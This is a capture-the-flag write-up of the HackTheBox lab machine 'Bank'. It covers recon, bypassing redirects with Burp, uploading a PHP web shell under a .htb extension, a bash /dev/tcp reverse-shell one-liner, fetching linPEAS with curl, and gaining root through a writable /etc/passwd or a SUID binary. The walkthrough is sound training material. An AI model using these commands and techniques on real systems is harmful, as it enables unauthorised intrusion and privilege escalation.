CyberSec Writeups

Red Team / Blue Team labs - HackTheBox, BlueTeamLabsOnline, TryHackMe, PortSwigger

HackTheBox: Bank

linux burp-suite file-upload web-shell linpeas setuid

Bank is a Linux-based machine authored by makelarisjr, with an average rating of 4.5 stars.

// Lessons Learned

  1. http redirects should be treated as suggestions rather than rules, and can be bypassed using the right tools
  2. application or website source code will usually give a good indication of which encryption / hashing functions are being used
  3. the separation of concerns between /etc/passwd and /etc/shadow (the former being world-readable and containing user info, the later being root-accessible only and containing encyrpted passwords) is not enforced - if /etc/passwd can be written to, an encrypted password can be added for any user, bypassing the use of /etc/shadow completely

// Recon

nmap -A bank.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-18 10:33 AEST
Nmap scan report for bank.htb (10.10.10.29)
Host is up (0.063s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 08:ee:d0:30:d5:45:e4:59:db:4d:54:a8:dc:5c:ef:15 (DSA)
|   2048 b8:e0:15:48:2d:0d:f0:f1:73:33:b7:81:64:08:4a:91 (RSA)
|   256 a0:4c:94:d1:7b:6e:a8:fd:07:fe:11:eb:88:d5:16:65 (ECDSA)
|_  256 2d:79:44:30:c8:bb:5e:8f:07:cf:5b:72:ef:a1:6d:67 (ED25519)
53/tcp open  domain  ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
| dns-nsid:
|_  bind.version: 9.9.5-3ubuntu0.14-Ubuntu
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
| http-title: HTB Bank - Login
|_Requested resource was login.php
|_http-server-header: Apache/2.4.7 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.77 seconds

Nmap reveals we’re dealing with an Ubuntu machine, running:

Starting in reverse order, visiting the server in a web-browser reveals an HTB Bank login page (good to see them diversifying!):

The page is very sparse, as is the html source. But we now know it’s a php-based site, so it’s probably a good time to run gobuster to search for more content:

gobuster dir -u http://bank.htb -w Discovery/Web-Content/raft-medium-directories.txt -x php
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://bank.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                Discovery/Web-Content/raft-medium-directories.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
2022/02/18 10:44:12 Starting gobuster in directory enumeration mode
===============================================================
/logout.php           (Status: 302) [Size: 0] [--> index.php]
/login.php            (Status: 200) [Size: 1974]
/inc                  (Status: 301) [Size: 301] [--> http://bank.htb/inc/]
/uploads              (Status: 301) [Size: 305] [--> http://bank.htb/uploads/]
/assets               (Status: 301) [Size: 304] [--> http://bank.htb/assets/]
/support.php          (Status: 302) [Size: 3291] [--> login.php]
/index.php            (Status: 302) [Size: 7322] [--> login.php]
/server-status        (Status: 403) [Size: 288]

===============================================================
2022/02/18 10:48:05 Finished
===============================================================

We gain access to a few directories on the server - /inc, /uploads and /assets, but none of them contain anything beyond typical website resources (javascript, images etc.) Swapping to a file-based list (raft-medium-files.txt) we get a few file hits, but with 302 redirects in place:

/login.php            (Status: 200) [Size: 1974]
/logout.php           (Status: 302) [Size: 0] [--> index.php]
...
/index.php            (Status: 302) [Size: 7322] [--> login.php]
/support.php          (Status: 302) [Size: 3291] [--> login.php]

// Initial Foothold

As is often the case in offensive security though, a redirect should be treated more as a suggestion than a rule, and if we request some of these urls in Burp Repeater without automamtically following the redirect, we find some interesting content, first on index.php:

and then on support.php:

The index.php output mostly just lists some historical transaction data, but support.php looks like it provides a form (with a file upload field) that we might be able to interact with. Viewing the source for this page also reveals the comment:

<!-- [DEBUG] I added the file extension .htb to execute as php for debugging purposes only [DEBUG] -->

which could be relevant for bypassing any file upload filtering. While Repeater does a good job of showing us the hidden content, what we really want is to be able to interact with it, which is going to require manipulation of the http response, rather than the more commonly modified request. To do this, we need to use a lesser known feature of Burp:

  1. we request http://bank.htb/support.php through Burp Proxy with intercept enabled
  2. before forwarding the request, click on Action -> Do intercept -> Response to this request, and then forward:
  3. in the intercepted response, change the HTTP status from HTTP/1.1 302 Found to HTTP/1.1 200 OK, which indicates to the browser that there is no redirect, and then forward the response

We can now interact properly with the ticket submission form. Let’s start by entering some generic values in the title and description, and trying to upload a typical php web-shell as shell.php:

As expected based on the developer comment we found, there is some kind of file upload filtering in place. Let’s try renaming our file to shell.htb, again based on the comment:

With very little effort, our web-shell has now been uploaded, and clicking the Click Here link takes us to our functioning shell. The usual information-gathering commands quickly establish that:

// Privilege Escalation

To achieve a more functional environment we can leverage the web-shell to upgrade to a persistent connection, by listening on our attack box:

$ bash
bash-5.1$ nc -lvnp 443

then establishing the connection from the target:

bash -c 'bash -i >& /dev/tcp/10.10.17.230/443 0>&1'

and finally upgrading the connection to a full pseudoterminal & shell on our attack box:

Connection from 10.10.10.29:55400
bash: cannot set terminal process group (1073): Inappropriate ioctl for device
bash: no job control in this shell
www-data@bank:/var/www/bank/uploads$ python -c 'import pty;pty.spawn("/bin/bash")'
</uploads$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@bank:/var/www/bank/uploads$ ^Z
[1]+  Stopped                 nc -lvnp 443
bash-5.1$ stty raw -echo
nc -lvnp 443
// fg to foreground the process, then press enter, then press enter again
www-data@bank:/var/www/bank/uploads$

With a stable shell, we can start basic system enumeration. As expected our www-data user has no sudo access, and there is no low-hanging fruit from browsing the filesystem (custom software in /opt etc). Checking which network services are running on the machine, we discover a mysql server that is listening on the localhost interface only, which probably warrants further investigation:

netstat -antup
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
...
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
...

The first step is to check for any credentials, and the bank website we encountered before is a good place to start. Checking the site config in /etc/apache2/sites-enabled/bank.conf we discover the site is located at /var/www/bank, and sure enough searching for some some relevant strings (user, pass, root, localhost etc.) reveals a root password in both /inc/ticket.php and /inc/user.php:

$mysql = new mysqli("localhost", "root", "!@#S3cur3P4ssw0rd!@#", "htbbank");

If we connect to the server and browse the htbbank database, we find a users table with a single row:

+----+------------------------+----------------+----------------------------------+---------+
| id | username               | email          | password                         | balance |
+----+------------------------+----------------+----------------------------------+---------+
|  1 | Christos Christopoulos | chris@bank.htb | b27179713f7bffc48b9ffd2cf9467620 | 1.337   |
+----+------------------------+----------------+----------------------------------+---------+

8743b52063cd84097a65d1633f5c74f5

The temptation is get to work trying to crack this encoded password straight away, but hashid isn’t able to give a definitive indication of the format. Looking at the hashcat examples it could be unsalted md5, but there are other variants & algorithms that generate output of the same length, meaning it could be tricky to crack for now. If we keep looking we discover there is also a /var/www/bank/bankreports.txt file that contains what looks to be an unencrypted password:

+=================+
| HTB Bank Report |
+=================+

===Users===
Full Name: Christos Christopoulos
Email: chris@bank.htb
Password: !##HTBB4nkP4ssw0rd!##
CreditCards: 2
Transactions: 8
Balance: 1.337$
===Users===

Testing this email / password pair against the http://bank.htb/login.php page gives us authenticated access to the site, but doesn’t give us access to any functionality we don’t already have. It does however confirm the unencrypted value of the hash found earlier, which we’re able to confirm by running through an md5 generator (later I also discovered the use of an md5 function in the site code, re-confirming this).

With some basic manual enumeration complete, now is probably a good time to download and run linPEAS, which we can do via a python one-liner http server on our attack box:

python -m http.server

and using curl on the target machine to transfer the script across to /tmp:

curl http://10.10.17.230:8000/linpeas.sh -o /tmp/linpeas.sh
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                Dload  Upload   Total   Spent    Left  Speed
100  618k  100  618k    0     0  1831k      0 --:--:-- --:--:-- --:--:-- 1836k

Amongst the large volume of reported output, we learn:

  1. there is an unknown SUID binary at /var/htb/bin/emergency
  2. /etc/passwd is writable by all users

By far the most interesting (and unlikely in the real-world) of these is the writable permissions on /etc/passwd. While this file doesn’t store user passwords in any modern unix-based system (those have been kept in /etc/shadow for a long time, which is usually configured to only be accesible by root) it is still possible to put a password into /etc/passwd, and it will take precedence over any entry in /etc/shadow. We can generate a new compatible password by running:

openssl passwd <new-password-here>

and then replacing the stub in /etc/passwd that indicates hand-off to /etc/shadow:

root:x:...

with an entry that gives precedence to our new password:

root:<encrypted-password-here>:...

The other privesc vector found (the SUID binary) is a compliled, ELF (executable and linkable) binary. Before blindy running it, we notice there is also a /var/htb/emergency python script, which we can read:

www-data@bank:/var/htb$ cat emergency
#!/usr/bin/python
import os, sys

def close():
	print "Bye"
	sys.exit()

def getroot():
	try:
		print "Popping up root shell..";
		os.system("/var/htb/bin/emergency")
		close()
	except:
		sys.exit()

q1 = raw_input("[!] Do you want to get a root shell? (THIS SCRIPT IS FOR EMERGENCY ONLY) [y/n]: ");

if q1 == "y" or q1 == "yes":
	getroot()
else:
	close()

So it seems like this script is what we should run, and it will in turn run the bin/emergency binary, to grant us an “emergency root shell”. Sounds like fun!

www-data@bank:/var/htb$ python emergency
[!] Do you want to get a root shell? (THIS SCRIPT IS FOR EMERGENCY ONLY) [y/n]: y
Popping up root shell..
# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)

We can see our user id has not changed, but the effective id (euid) is now root. There’s no real need to even break out into a root shell at this point, since the emergency binary has already taken care of that. We could use this script to establish persistence on the machine (e.g. creating a new user with elevated privileges, or some other kind of back door) but for now we can grab the root key and call it a day:

cat /root/root.txt
25c*****************************